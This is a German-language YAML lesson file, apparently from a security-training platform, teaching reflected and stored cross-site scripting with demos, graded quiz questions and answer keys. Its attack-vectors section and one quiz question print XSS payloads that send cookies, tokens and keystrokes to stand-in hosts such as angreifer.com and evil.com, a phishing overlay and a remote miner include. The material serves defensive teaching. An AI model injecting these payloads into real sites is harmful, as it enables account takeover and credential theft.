388 lines
17 KiB
YAML
388 lines
17 KiB
YAML
lessonKey: "xss-comprehensive"
|
|
title: "Cross-Site Scripting (XSS) - Reflected & Stored Angriffe"
|
|
description: "Lernen Sie, wie XSS-Angriffe durch URL-Manipulation und benutzergenerierte Inhalte funktionieren und wie man sie erkennt"
|
|
difficultyLevel: "intermediate"
|
|
estimatedDuration: 35
|
|
module: "xss-comprehensive"
|
|
|
|
steps:
|
|
- id: "intro"
|
|
type: "content"
|
|
title: "Was ist Cross-Site Scripting (XSS)?"
|
|
content: |
|
|
Cross-Site Scripting (XSS) ist eine Sicherheitslücke, die es Angreifern ermöglicht, bösartigen JavaScript-Code in Webseiten einzuschleusen, die von anderen Benutzern angesehen werden.
|
|
|
|
XSS kann auftreten, wenn:
|
|
• Benutzereingaben ohne ordnungsgemäße Bereinigung angezeigt werden
|
|
• URL-Parameter im Seiteninhalt wiedergegeben werden
|
|
• Benutzergenerierte Inhalte als HTML gerendert werden
|
|
|
|
**Arten von XSS:**
|
|
• **Reflected XSS** - Payload ist Teil der Anfrage (z.B. URL-Parameter)
|
|
• **Stored XSS** - Payload wird in der Datenbank gespeichert und anderen Benutzern angezeigt
|
|
• **DOM-basiertes XSS** - Payload manipuliert direkt das Document Object Model
|
|
|
|
**Was Angreifer mit XSS tun können:**
|
|
• Session-Cookies stehlen und Konten übernehmen
|
|
• Benutzer auf Phishing-Seiten umleiten
|
|
• Websites verunstalten
|
|
• Keylogger installieren
|
|
• Auf sensible Daten zugreifen
|
|
• Malware verteilen
|
|
|
|
- id: "reflected-xss"
|
|
type: "content"
|
|
title: "Reflected XSS - URL-Parameter-Injection"
|
|
content: |
|
|
**Wie URL-Parameter funktionieren:**
|
|
|
|
Viele Websites verwenden URL-Parameter (auch Query-Strings genannt), um Daten zu übergeben:
|
|
|
|
https://beispiel-shop.com/produkt?name=Laptop&kategorie=Elektronik
|
|
|
|
In dieser URL:
|
|
• name=Laptop ist ein Parameter
|
|
• kategorie=Elektronik ist ein weiterer Parameter
|
|
|
|
**Deeplinks:**
|
|
Deeplinks sind URLs, die direkt auf bestimmte Inhalte innerhalb einer Website oder App verlinken. Sie enthalten oft Parameter, die den angezeigten Inhalt anpassen.
|
|
|
|
**Die Sicherheitslücke:**
|
|
Wenn eine Website URL-Parameterwerte ohne Bereinigung anzeigt, kann ein Angreifer bösartigen Code einschleusen:
|
|
|
|
https://beispiel-shop.com/produkt?name=<script>alert('XSS')</script>
|
|
|
|
Wenn die Seite den "name"-Parameter anzeigt, wird das Skript ausgeführt!
|
|
|
|
**Wie Reflected XSS funktioniert:**
|
|
|
|
Wenn eine anfällige Anwendung empfängt:
|
|
https://shop.com/suche?q=<script>alert(1)</script>
|
|
|
|
Und es so anzeigt:
|
|
<div>Suchergebnisse für: <script>alert(1)</script></div>
|
|
|
|
Der Browser führt das Script-Tag aus und führt den Code des Angreifers aus!
|
|
|
|
- id: "xss-demo"
|
|
type: "interactive"
|
|
title: "Reflected XSS Demo"
|
|
interactiveComponent: "XSSDeeplinkDemo"
|
|
content: |
|
|
Unten sehen Sie eine Demonstration, wie Reflected XSS durch URL-Parameter-Injection funktioniert. Die anfällige Version zeigt Benutzereingaben direkt an, während die sichere Version Sonderzeichen kodiert.
|
|
|
|
Probieren Sie die Beispiel-Payloads aus, um zu sehen, wie verschiedene XSS-Techniken funktionieren. Beachten Sie, wie die Kodierung verhindert, dass der bösartige Code ausgeführt wird.
|
|
|
|
- id: "question-1"
|
|
type: "question"
|
|
questionType: "multiple_choice"
|
|
question: "Welche der folgenden sind gültige XSS-Payloads, die über URL-Parameter eingeschleust werden können?"
|
|
options:
|
|
- id: "script-alert"
|
|
text: "<script>alert('XSS')</script>"
|
|
isCorrect: true
|
|
points: 6
|
|
- id: "img-onerror"
|
|
text: "<img src=x onerror='alert(1)'>"
|
|
isCorrect: true
|
|
points: 6
|
|
- id: "svg-onload"
|
|
text: "<svg onload='alert(1)'></svg>"
|
|
isCorrect: true
|
|
points: 6
|
|
- id: "iframe-src"
|
|
text: "<iframe src='javascript:alert(1)'></iframe>"
|
|
isCorrect: true
|
|
points: 7
|
|
- id: "normal-text"
|
|
text: "Nur ein normaler Produktname"
|
|
isCorrect: false
|
|
points: 0
|
|
maxPoints: 25
|
|
feedback:
|
|
correct: "Ausgezeichnet! Sie haben alle XSS-Payloads identifiziert. Diese Muster können JavaScript in anfälligen Anwendungen ausführen."
|
|
partial: "Gut! Sie haben einige XSS-Payloads erkannt. Überprüfen Sie die Muster: Script-Tags, Event-Handler und Protocol-Injections."
|
|
incorrect: "Schauen Sie sich die Demo an und suchen Sie nach Mustern, die HTML-Tags, Event-Handler oder JavaScript-Protokolle enthalten."
|
|
|
|
- id: "stored-xss"
|
|
type: "content"
|
|
title: "Stored XSS - Persistente Angriffe"
|
|
content: |
|
|
Stored XSS (Cross-Site Scripting) ist eine Art von Injection-Angriff, bei dem bösartige Skripte dauerhaft auf einem Zielserver gespeichert werden. Im Gegensatz zu Reflected XSS, bei dem das Opfer auf einen bösartigen Link klicken muss, betrifft Stored XSS alle Benutzer, die den kompromittierten Inhalt ansehen.
|
|
|
|
**Häufige Ziele:**
|
|
• Forum-Beiträge und Kommentare
|
|
• Benutzerprofile und Biografien
|
|
• Produktbewertungen
|
|
• Feedback-Formulare
|
|
• Social-Media-Beiträge
|
|
• Blog-Kommentare
|
|
• Wiki-Seiten
|
|
|
|
**Auswirkungen:**
|
|
• Cookie-Diebstahl und Session-Hijacking
|
|
• Kontoübernahme
|
|
• Malware-Verteilung
|
|
• Website-Verunstaltung
|
|
• Phishing-Angriffe auf andere Benutzer
|
|
• Keylogging
|
|
• Datendiebstahl
|
|
|
|
**Warum Stored XSS besonders gefährlich ist:**
|
|
1. Es bleibt in der Datenbank bestehen
|
|
2. Es betrifft automatisch mehrere Benutzer
|
|
3. Es erfordert kein Social Engineering zur Verbreitung
|
|
4. Es kann über lange Zeiträume unentdeckt bleiben
|
|
|
|
- id: "real-world"
|
|
type: "content"
|
|
title: "Reale Stored-XSS-Angriffe"
|
|
content: |
|
|
**Samy Worm (MySpace, 2005)**
|
|
Samy Kamkar erstellte einen sich selbst verbreitenden XSS-Wurm in seinem MySpace-Profil, der ihn automatisch als Freund zu jedem Profil hinzufügte, das ihn ansah. Der Wurm kopierte sich auch auf jedes infizierte Profil und verbreitete sich exponentiell.
|
|
|
|
Innerhalb von 20 Stunden waren über 1 Million Benutzer betroffen, was Samy zur beliebtesten Person auf MySpace machte. Die Website musste offline genommen werden, um den Wurm zu entfernen.
|
|
|
|
**TweetDeck XSS (Twitter, 2014)**
|
|
Eine Stored-XSS-Schwachstelle in TweetDeck ermöglichte es Angreifern, bösartigen Code über Tweets einzuschleusen. Als andere Benutzer diese Tweets in TweetDeck ansahen, wurde der Code automatisch ausgeführt und verursachte:
|
|
• Automatische Retweets der bösartigen Payload
|
|
• Pop-up-Benachrichtigungen für alle Betrachter
|
|
• Schnelle Verbreitung über die Plattform
|
|
|
|
**eBay Stored XSS (2015-2016)**
|
|
Mehrere Stored-XSS-Schwachstellen wurden in den Artikelbeschreibungen von eBay entdeckt. Angreifer konnten:
|
|
• Code in Produktbeschreibungen einschleusen
|
|
• Benutzeranmeldeinformationen stehlen, wenn Käufer Angebote ansahen
|
|
• Benutzer auf Phishing-Seiten umleiten
|
|
• Konten von Käufern und Verkäufern kompromittieren
|
|
|
|
**British Airways XSS (2018)**
|
|
Angreifer schleusten bösartiges JavaScript über eine Stored-XSS-Schwachstelle in die Zahlungsseite von British Airways ein. Das Skript:
|
|
• Erfasste Kreditkarteninformationen
|
|
• Sendete Daten an vom Angreifer kontrollierte Server
|
|
• Betraf über 380.000 Transaktionen
|
|
• Kostete British Airways über 20 Millionen Pfund an Strafen
|
|
|
|
Diese Angriffe demonstrieren, warum Eingabevalidierung und Output-Encoding für jede Anwendung, die benutzergenerierte Inhalte akzeptiert, kritisch sind.
|
|
|
|
- id: "forum-demo"
|
|
type: "interactive"
|
|
title: "Stored XSS Forum Demo"
|
|
interactiveComponent: "ForumScriptDemo"
|
|
content: |
|
|
Unten sehen Sie ein vereinfachtes Forum, das Benutzerkommentare OHNE ordnungsgemäße Eingabevalidierung oder Output-Encoding akzeptiert. Versuchen Sie zuerst, normale Kommentare zu posten, und experimentieren Sie dann mit Script-Injection-Payloads.
|
|
|
|
Beachten Sie, wie die bösartigen Skripte gespeichert werden und alle Benutzer betreffen würden, die das Forum ansehen. In dieser Demo zeigen wir die Payloads sicher als Text an, anstatt sie auszuführen, mit klaren Warnungen, wenn eine Injection erkannt wird.
|
|
|
|
**Probieren Sie diese Aktionen:**
|
|
1. Posten Sie einen normalen Kommentar, um sicheres Verhalten zu sehen
|
|
2. Versuchen Sie Beispiel-XSS-Payloads, um die Erkennung zu sehen
|
|
3. Verwenden Sie die Reload-Schaltfläche, um das Forum zurückzusetzen
|
|
|
|
- id: "question-2"
|
|
type: "question"
|
|
questionType: "multiple_choice"
|
|
question: "Welche der folgenden Payloads könnten für Stored-XSS-Angriffe in einem Forum verwendet werden?"
|
|
options:
|
|
- id: "script-cookie"
|
|
text: "<script>fetch('http://angreifer.com/steal?c='+document.cookie)</script>"
|
|
isCorrect: true
|
|
points: 6
|
|
- id: "img-steal"
|
|
text: "<img src=x onerror='fetch(\"http://evil.com?data=\"+document.cookie)'>"
|
|
isCorrect: true
|
|
points: 6
|
|
- id: "svg-payload"
|
|
text: "<svg onload='alert(document.domain)'></svg>"
|
|
isCorrect: true
|
|
points: 6
|
|
- id: "iframe-phishing"
|
|
text: "<iframe src='http://phishing-site.com' style='width:100%;height:500px'></iframe>"
|
|
isCorrect: true
|
|
points: 7
|
|
- id: "normal-comment"
|
|
text: "Dies ist ein normaler Kommentar ohne bösartigen Code"
|
|
isCorrect: false
|
|
points: 0
|
|
maxPoints: 25
|
|
feedback:
|
|
correct: "Ausgezeichnet! Sie haben alle gefährlichen Payloads identifiziert, die auf dem Server bestehen bleiben und mehrere Benutzer betreffen können."
|
|
partial: "Gut! Sie haben einige Bedrohungen erkannt, aber überprüfen Sie die Muster, die Code-Ausführung durch HTML-Tags und Event-Handler ermöglichen."
|
|
incorrect: "Überprüfen Sie die Demo. Suchen Sie nach Mustern, die Script-Tags, Event-Handler wie onerror oder onload oder eingebettete Inhalte wie iframes enthalten."
|
|
|
|
- id: "attack-vectors"
|
|
type: "content"
|
|
title: "XSS-Angriffsvektoren"
|
|
content: |
|
|
Gängige Techniken, die Angreifer bei XSS-Angriffen verwenden:
|
|
|
|
**1. Cookie-Diebstahl**
|
|
<script>
|
|
fetch('http://angreifer.com/steal?cookie=' + document.cookie);
|
|
</script>
|
|
Stiehlt Authentifizierungs-Cookies und ermöglicht Kontoübernahme. Der Angreifer kann dann jeden Benutzer imitieren, der den Kommentar angesehen hat.
|
|
|
|
**2. Session-Hijacking**
|
|
<script>
|
|
var token = localStorage.getItem('authToken');
|
|
fetch('http://angreifer.com/steal?token=' + token);
|
|
</script>
|
|
Extrahiert Session-Token aus dem Browser-Speicher und kompromittiert Benutzersitzungen.
|
|
|
|
**3. Keylogging**
|
|
<script>
|
|
document.addEventListener('keypress', function(e) {
|
|
fetch('http://angreifer.com/keys?k=' + e.key);
|
|
});
|
|
</script>
|
|
Zeichnet jeden Tastendruck auf der Seite auf und erfasst Passwörter und sensible Informationen.
|
|
|
|
**4. Verunstaltung**
|
|
<script>
|
|
document.body.innerHTML = '<h1>Website gehackt!</h1>';
|
|
</script>
|
|
Ändert den sichtbaren Inhalt für alle Benutzer und beschädigt Reputation und Vertrauen.
|
|
|
|
**5. Phishing-Overlay**
|
|
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
|
|
background:white;z-index:9999">
|
|
<form action="http://angreifer.com/phish">
|
|
<h2>Sitzung abgelaufen - Bitte erneut anmelden</h2>
|
|
Benutzername: <input name="user"><br>
|
|
Passwort: <input type="password" name="pass"><br>
|
|
<button>Anmelden</button>
|
|
</form>
|
|
</div>
|
|
Zeigt ein gefälschtes Login-Formular über der echten Seite an und erfasst Anmeldeinformationen.
|
|
|
|
**6. Kryptowährungs-Mining**
|
|
<script src="http://angreifer.com/cryptominer.js"></script>
|
|
Mined heimlich Kryptowährung mit den CPU-Ressourcen der Besucher.
|
|
|
|
**7. Malware-Verteilung**
|
|
<script>
|
|
window.location = 'http://angreifer.com/download-malware.exe';
|
|
</script>
|
|
Leitet Benutzer zu Malware-Downloads oder Drive-by-Download-Angriffen um.
|
|
|
|
- id: "question-3"
|
|
type: "question"
|
|
questionType: "single_choice"
|
|
question: "Warum gilt Stored XSS im Allgemeinen als GEFÄHRLICHER als Reflected XSS?"
|
|
options:
|
|
- id: "easier-exploit"
|
|
text: "Es ist einfacher auszunutzen, da es keine Sonderzeichen erfordert"
|
|
isCorrect: false
|
|
points: 0
|
|
- id: "persistent-victims"
|
|
text: "Es bleibt auf dem Server bestehen und betrifft alle Benutzer, die den Inhalt ansehen, nicht nur diejenigen, die auf einen bösartigen Link klicken"
|
|
isCorrect: true
|
|
points: 30
|
|
- id: "no-detection"
|
|
text: "Es kann nicht von Sicherheitstools oder Antiviren-Software erkannt werden"
|
|
isCorrect: false
|
|
points: 0
|
|
- id: "admin-access"
|
|
text: "Es gewährt Angreifern automatisch Administratorzugriff auf den Server"
|
|
isCorrect: false
|
|
points: 0
|
|
maxPoints: 30
|
|
feedback:
|
|
correct: "Perfekt! Stored XSS ist eine persistente Bedrohung, die viele Benutzer über die Zeit betreffen kann, ohne dass eine individuelle Zielerfassung erforderlich ist. Es bleibt in der Datenbank und wird jedes Mal ausgeführt, wenn jemand es ansieht."
|
|
incorrect: "Denken Sie über den Unterschied zwischen einer Payload, die an jedes Opfer gesendet werden muss, und einer, die einmal gespeichert wird und jeden betrifft. Persistenz und automatische Verbreitung sind die Hauptgefahren."
|
|
|
|
- id: "prevention"
|
|
type: "content"
|
|
title: "XSS-Angriffe verhindern"
|
|
content: |
|
|
**Defense-in-Depth-Ansatz:**
|
|
|
|
**1. Output-Encoding (Am wichtigsten)**
|
|
Kodieren Sie Ausgaben immer kontextabhängig:
|
|
|
|
• **HTML-Kontext:** < wird zu <, > wird zu >
|
|
• **JavaScript-Kontext:** Verwenden Sie JSON.stringify() für Daten
|
|
• **URL-Kontext:** Verwenden Sie encodeURIComponent()
|
|
• **CSS-Kontext:** Vermeiden Sie Benutzereingaben in CSS
|
|
|
|
**Vertrauen Sie niemals Inhalten aus der Datenbank** - selbst wenn sie bei der Eingabe validiert wurden, kodieren Sie immer bei der Ausgabe!
|
|
|
|
**2. Content Security Policy (CSP)**
|
|
Setzen Sie HTTP-Header, um Script-Quellen einzuschränken:
|
|
|
|
Content-Security-Policy:
|
|
default-src 'self';
|
|
script-src 'self' 'nonce-{random}';
|
|
object-src 'none';
|
|
base-uri 'self';
|
|
form-action 'self';
|
|
|
|
CSP-Vorteile:
|
|
• Verhindert Ausführung von Inline-Skripten
|
|
• Beschränkt Ressourcen-Laden auf vertrauenswürdige Quellen
|
|
• Mindert Auswirkungen, selbst wenn XSS durchkommt
|
|
• Bietet Verletzungsberichte zur Überwachung
|
|
|
|
**3. Eingabevalidierung**
|
|
• Validieren Sie alle Benutzereingaben gegen das erwartete Format
|
|
• Verwenden Sie Allowlists für akzeptable Zeichen
|
|
• Lehnen Sie Eingaben ab, die verdächtige Muster enthalten
|
|
• Validieren Sie Datentyp, Länge und Format
|
|
• Vertrauen Sie niemals allein auf clientseitige Validierung
|
|
|
|
**4. HTTPOnly und Secure Cookies**
|
|
Setzen Sie das HTTPOnly-Flag auf Session-Cookies:
|
|
Set-Cookie: sessionId=abc123;
|
|
HttpOnly;
|
|
Secure;
|
|
SameSite=Strict
|
|
|
|
• **HttpOnly** - Verhindert JavaScript-Zugriff auf Cookies
|
|
• **Secure** - Stellt HTTPS-only-Übertragung sicher
|
|
• **SameSite** - Verhindert CSRF-Angriffe
|
|
|
|
Dies verhindert, dass JavaScript auf Cookies zugreift und begrenzt die Auswirkungen von XSS.
|
|
|
|
**5. Web Application Firewall (WAF)**
|
|
• Kann XSS-Versuche erkennen und blockieren
|
|
• Sollte als zusätzliche Ebene verwendet werden, nicht als primäre Verteidigung
|
|
• Bietet Überwachung und Alarmierung
|
|
• Updates zum Blockieren neuer Angriffsmuster
|
|
|
|
**6. Regelmäßige Sicherheitsaudits**
|
|
• Statische Code-Analyse (SAST-Tools)
|
|
• Dynamische Sicherheitstests (DAST-Tools)
|
|
• Penetrationstests
|
|
• Code-Reviews mit Fokus auf Benutzereingabe-Verarbeitung
|
|
• Sicherheitsbewusstseins-Schulungen
|
|
|
|
- id: "question-4"
|
|
type: "question"
|
|
questionType: "single_choice"
|
|
question: "Was ist der EFFEKTIVSTE Weg, XSS-Angriffe zu verhindern?"
|
|
options:
|
|
- id: "input-length"
|
|
text: "Die Länge der Benutzereingabe begrenzen"
|
|
isCorrect: false
|
|
points: 0
|
|
- id: "output-encoding"
|
|
text: "Alle Ausgaben kodieren und Content Security Policy (CSP) implementieren"
|
|
isCorrect: true
|
|
points: 20
|
|
- id: "remove-tags"
|
|
text: "Alle HTML-Tags aus Benutzereingaben entfernen"
|
|
isCorrect: false
|
|
points: 0
|
|
- id: "client-validation"
|
|
text: "Nur clientseitige JavaScript-Validierung verwenden"
|
|
isCorrect: false
|
|
points: 0
|
|
maxPoints: 20
|
|
feedback:
|
|
correct: "Perfekt! Output-Encoding wandelt Sonderzeichen um, sodass Browser sie als Text und nicht als Code behandeln. CSP bietet eine zusätzliche Sicherheitsebene."
|
|
incorrect: "Während Eingabefilterung helfen kann, ist Output-Encoding unerlässlich. Sonderzeichen wie < und > müssen in < und > umgewandelt werden, damit Browser sie als Text anzeigen, anstatt sie als HTML auszuführen."
|
|
|
|
scoring:
|
|
passingScore: 70
|
|
maxTotalPoints: 100
|